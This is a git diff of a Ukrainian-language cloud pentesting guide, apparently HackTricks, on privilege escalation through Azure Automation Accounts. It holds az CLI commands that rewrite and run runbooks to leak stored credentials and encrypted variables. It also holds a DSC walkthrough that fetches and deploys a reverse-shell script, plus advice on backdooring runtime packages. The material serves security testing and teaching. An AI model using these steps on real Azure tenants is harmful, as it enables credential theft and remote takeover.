diff --git a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-automation-accounts-privesc.md b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-automation-accounts-privesc.md index 138b84d4a..a68d3ad45 100644 --- a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-automation-accounts-privesc.md +++ b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-automation-accounts-privesc.md @@ -10,11 +10,20 @@ ../az-services/az-automation-accounts.md {{#endref}} +### Hybrid Workers + +Пам'ятайте, що якщо зловмисник зможе виконати довільний runbook (довільний код) у гібридному робітнику, він **перейде до місця розташування VM**. Це може бути локальна машина, VPC іншого хмари або навіть Azure VM. + +Більше того, якщо гібридний робітник працює в Azure з іншими прикріпленими керованими ідентичностями, runbook зможе отримати доступ до **керованої ідентичності runbook та всіх керованих ідентичностей VM з сервісу метаданих**. + +> [!TIP] +> Пам'ятайте, що **сервіс метаданих** має іншу URL-адресу (**`http://169.254.169.254`**), ніж сервіс, з якого отримують токен керованих ідентичностей облікового запису автоматизації (**`IDENTITY_ENDPOINT`**). + ### `Microsoft.Automation/automationAccounts/jobs/write`, `Microsoft.Automation/automationAccounts/runbooks/draft/write`, `Microsoft.Automation/automationAccounts/jobs/output/read`, `Microsoft.Automation/automationAccounts/runbooks/publish/action` (`Microsoft.Resources/subscriptions/resourcegroups/read`, `Microsoft.Automation/automationAccounts/runbooks/write`) -У підсумку, ці дозволи дозволяють **створювати, змінювати та виконувати Runbooks** в Обліковому записі автоматизації, які ви можете використовувати для **виконання коду** в контексті Облікового запису автоматизації та ескалації привілеїв до призначених **Управляємих ідентичностей** та витоку **облікових даних** і **зашифрованих змінних**, збережених в Обліковому записі автоматизації. +У підсумку ці дозволи дозволяють **створювати, змінювати та виконувати Runbooks** в обліковому записі автоматизації, які ви можете використовувати для **виконання коду** в контексті облікового запису автоматизації та ескалації привілеїв до призначених **керованих ідентичностей** та витоку **облікових даних** і **зашифрованих змінних**, збережених в обліковому записі автоматизації. -Дозвіл **`Microsoft.Automation/automationAccounts/runbooks/draft/write`** дозволяє змінювати код Runbook в Обліковому записі автоматизації, використовуючи: +Дозвіл **`Microsoft.Automation/automationAccounts/runbooks/draft/write`** дозволяє змінювати код Runbook в обліковому записі автоматизації, використовуючи: ```bash # Update the runbook content with the provided PowerShell script az automation runbook replace-content --no-wait \ @@ -27,9 +36,9 @@ $runbook_variable $creds.GetNetworkCredential().username $creds.GetNetworkCredential().password' ``` -Зверніть увагу, як попередній скрипт може бути використаний для **витоку імені користувача та пароля** облікових даних і значення **зашифрованої змінної**, збереженої в Обліковому записі автоматизації. +Зверніть увагу, як попередній скрипт може бути використаний для **витоку імені користувача та пароля** облікових даних і значення **зашифрованої змінної**, збереженої в обліковому записі автоматизації. -Дозвіл **`Microsoft.Automation/automationAccounts/runbooks/publish/action`** дозволяє користувачу публікувати Runbook в Обліковому записі автоматизації, щоб зміни були застосовані: +Дозвіл **`Microsoft.Automation/automationAccounts/runbooks/publish/action`** дозволяє користувачу публікувати Runbook в обліковому записі автоматизації, щоб зміни були застосовані: ```bash az automation runbook publish \ --resource-group \ @@ -38,7 +47,11 @@ az automation runbook publish \ ``` Дозвіл **`Microsoft.Automation/automationAccounts/jobs/write`** дозволяє користувачу виконувати Runbook в Обліковому записі автоматизації за допомогою: ```bash -az automation runbook start --automation-account-name --resource-group --name +az automation runbook start \ +--automation-account-name \ +--resource-group \ +--name \ +[--run-on ] ``` Дозвіл **`Microsoft.Automation/automationAccounts/jobs/output/read`** дозволяє користувачу читати вихідні дані роботи в Обліковому записі автоматизації за допомогою: ```bash @@ -67,7 +80,7 @@ az rest --method PATCH \ ``` ### `Microsoft.Automation/automationAccounts/schedules/write`, `Microsoft.Automation/automationAccounts/jobSchedules/write` -З дозволом **`Microsoft.Automation/automationAccounts/schedules/write`** можливо створити новий графік у обліковому записі автоматизації, який виконується кожні 15 хвилин (не дуже приховано) за допомогою наступної команди. +З дозволом **`Microsoft.Automation/automationAccounts/schedules/write`** можливо створити новий графік в обліковому записі автоматизації, який виконується кожні 15 хвилин (не дуже приховано) за допомогою наступної команди. Зверніть увагу, що **мінімальний інтервал для графіка становить 15 хвилин**, а **мінімальний час початку - 5 хвилин** у майбутньому. ```bash @@ -140,7 +153,7 @@ curl -X POST "https://f931b47b-18c8-45a2-9d6d-0211545d8c02.webhook.eus.azure-aut ``` ### `Microsoft.Automation/automationAccounts/runbooks/draft/write` -Просто з дозволом `Microsoft.Automation/automationAccounts/runbooks/draft/write` можливо **оновити код Runbook** без його публікації та запустити його за допомогою наступних команд. +Тільки з дозволом `Microsoft.Automation/automationAccounts/runbooks/draft/write` можливо **оновити код Runbook** без його публікації та виконати його за допомогою наступних команд. ```bash # Update the runbook content with the provided PowerShell script az automation runbook replace-content --no-wait \ @@ -150,6 +163,7 @@ az automation runbook replace-content --no-wait \ --content 'echo "Hello World"' # Run the unpublished code +## Indicate the name of the hybrid worker group in runOn to execute the runbook there az rest \ --method PUT \ --url "https://management.azure.com/subscriptions/9291ff6e-6afb-430e-82a4-6f04b2d05c7f/resourceGroups/Resource_Group_1/providers/Microsoft.Automation/automationAccounts/autoaccount1/runbooks/AzureAutomationTutorialWithIdentity/draft/testJob?api-version=2023-05-15-preview" \ @@ -180,32 +194,48 @@ az automation source-control create \ --token-type PersonalAccessToken \ --access-token github_pat_11AEDCVZ ``` -Це автоматично імпортує runbooks з репозиторію Github до Облікового запису автоматизації, і з деякими іншими дозволами для їх запуску **можливо підвищити привілеї**. +Це автоматично імпортує runbooks з репозиторію Github до Облікового запису автоматизації, і з деякими іншими дозволами для їх запуску буде **можливо підвищити привілеї**. -Більше того, пам'ятайте, що для роботи з контролем версій в Облікових записах автоматизації він повинен мати керовану ідентичність з роллю **`Contributor`**, і якщо це керована користувачем ідентичність, це також можна налаштувати, встановивши в змінній **`AUTOMATION_SC_USER_ASSIGNED_IDENTITY_ID`** **ідентифікатор клієнта** керованої користувачем ідентичності для використання. +Більше того, пам'ятайте, що для роботи контролю версій в Облікових записах автоматизації він повинен мати керовану ідентичність з роллю **`Contributor`**, і якщо це керована користувачем ідентичність, ідентифікатор клієнта MI повинен бути вказаний у змінній **`AUTOMATION_SC_USER_ASSIGNED_IDENTITY_ID`**. > [!TIP] > Зверніть увагу, що неможливо змінити URL репозиторію контролю версій після його створення. -### Користувацькі середовища виконання +### `Microsoft.Automation/automationAccounts/variables/write` -Якщо обліковий запис автоматизації використовує користувацьке середовище виконання, може бути можливим перезаписати користувацький пакет середовища з деяким шкідливим кодом (наприклад, **задня двері**). Таким чином, щоразу, коли виконується runbook, що використовує це користувацьке середовище, і завантажується користувацький пакет, шкідливий код буде виконано. +З дозволом **`Microsoft.Automation/automationAccounts/variables/write`** можливо записувати змінні в Обліковий запис автоматизації, використовуючи наступну команду. +```bash +az rest --method PUT \ +--url "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.Automation/automationAccounts//variables/?api-version=2019-06-01" \ +--headers "Content-Type=application/json" \ +--body '{ +"name": "", +"properties": { +"description": "", +"value": "\"\"", +"isEncrypted": false +} +}' +``` +### Custom Runtime Environments -### Компрометація конфігурації стану +Якщо обліковий запис автоматизації використовує власне середовище виконання, може бути можливим перезаписати власний пакет середовища виконання деяким шкідливим кодом (наприклад, **задніми дверима**). Таким чином, щоразу, коли виконується runbook, що використовує це власне середовище виконання і завантажує власний пакет, шкідливий код буде виконано. + +### Compromising State Configuration **Перегляньте повну публікацію за адресою:** [**https://medium.com/cepheisecurity/abusing-azure-dsc-remote-code-execution-and-privilege-escalation-ab8c35dd04fe**](https://medium.com/cepheisecurity/abusing-azure-dsc-remote-code-execution-and-privilege-escalation-ab8c35dd04fe) - Крок 1 — Створення файлів **Необхідні файли:** Потрібні два скрипти PowerShell: -1. `reverse_shell_config.ps1`: Файл конфігурації бажаного стану (DSC), який отримує та виконує payload. Його можна отримати з [GitHub](https://github.com/nickpupp0/AzureDSCAbuse/blob/master/reverse_shell_config.ps1). +1. `reverse_shell_config.ps1`: Файл Desired State Configuration (DSC), який отримує та виконує payload. Його можна отримати з [GitHub](https://github.com/nickpupp0/AzureDSCAbuse/blob/master/reverse_shell_config.ps1). 2. `push_reverse_shell_config.ps1`: Скрипт для публікації конфігурації на VM, доступний на [GitHub](https://github.com/nickpupp0/AzureDSCAbuse/blob/master/push_reverse_shell_config.ps1). **Налаштування:** Змінні та параметри в цих файлах повинні бути адаптовані до конкретного середовища користувача, включаючи імена ресурсів, шляхи до файлів та ідентифікатори серверів/payload. - Крок 2 — Стиснення файлу конфігурації -`reverse_shell_config.ps1` стискається в файл `.zip`, що робить його готовим для передачі до Облікового запису Azure Storage. +Файл `reverse_shell_config.ps1` стискається в `.zip` файл, що робить його готовим для передачі до Azure Storage Account. ```powershell Compress-Archive -Path .\reverse_shell_config.ps1 -DestinationPath .\reverse_shell_config.ps1.zip ``` @@ -221,11 +251,11 @@ Set-AzStorageBlobContent -File "reverse_shell_config.ps1.zip" -Container "azure- ```bash wget https://raw.githubusercontent.com/nickpupp0/AzureDSCAbuse/master/RevPS.ps1 ``` -Скрипт редагується для вказівки цільової Windows VM та порту для зворотного шеллу. +Скрипт редагується для вказання цільової Windows VM та порту для зворотного шелу. - Крок 5 — Опублікувати файл конфігурації -Файл конфігурації виконується, в результаті чого скрипт зворотного шеллу розгортається у вказаному місці на Windows VM. +Файл конфігурації виконується, в результаті чого скрипт зворотного шелу розгортається у вказаному місці на Windows VM. - Крок 6 — Хостинг корисного навантаження та налаштування прослуховувача diff --git a/src/pentesting-cloud/azure-security/az-services/az-automation-accounts.md b/src/pentesting-cloud/azure-security/az-services/az-automation-accounts.md index 25dc891c3..117625bc5 100644 --- a/src/pentesting-cloud/azure-security/az-services/az-automation-accounts.md +++ b/src/pentesting-cloud/azure-security/az-services/az-automation-accounts.md @@ -8,8 +8,8 @@ Azure Automation Accounts - це хмарні сервіси в Microsoft Azure, ### Settings -- **Credentials**: Пароль доступний лише в runbook всередині облікового запису автоматизації, вони використовуються для **зберігання імен користувачів та паролів у безпечному вигляді**. -- **Variables**: Використовуються для зберігання **даних конфігурації**, які можуть бути використані в runbooks. Це також можуть бути чутливі дані, такі як API ключі. Якщо змінна **зберігається в зашифрованому вигляді**, вона доступна лише в runbook всередині облікового запису автоматизації. +- **Credentials**: Пароль доступний лише в рамках runbook всередині облікового запису автоматизації, вони використовуються для **безпечного зберігання імен користувачів та паролів**. +- **Variables**: Використовуються для зберігання **даних конфігурації**, які можуть бути використані в runbooks. Це також можуть бути чутливі дані, такі як API ключі. Якщо змінна **зберігається в зашифрованому вигляді**, вона доступна лише в рамках runbook всередині облікового запису автоматизації. - **Certificates**: Використовуються для зберігання **сертифікатів**, які можуть бути використані в runbooks. - **Connections**: Використовуються для зберігання **інформації про з'єднання** з зовнішніми сервісами. Це може містити **чутливу інформацію**. - **Network Access**: Може бути встановлено на **публічний** або **приватний**. @@ -18,17 +18,17 @@ Azure Automation Accounts - це хмарні сервіси в Microsoft Azure, Runbook в Azure Automation - це **скрипт, який автоматично виконує завдання** у вашому хмарному середовищі. Runbooks можуть бути написані на PowerShell, Python або графічних редакторах. Вони допомагають автоматизувати адміністративні завдання, такі як управління ВМ, патчинг або перевірки відповідності. -У **коді**, розташованому всередині **Runbooks**, можуть міститися **чутливі дані** (такі як облікові дані). +У **коді**, розташованому всередині **Runbooks**, можуть міститися **чутливі дані** (такі як креденціали). Перейдіть до `Automation Accounts` --> `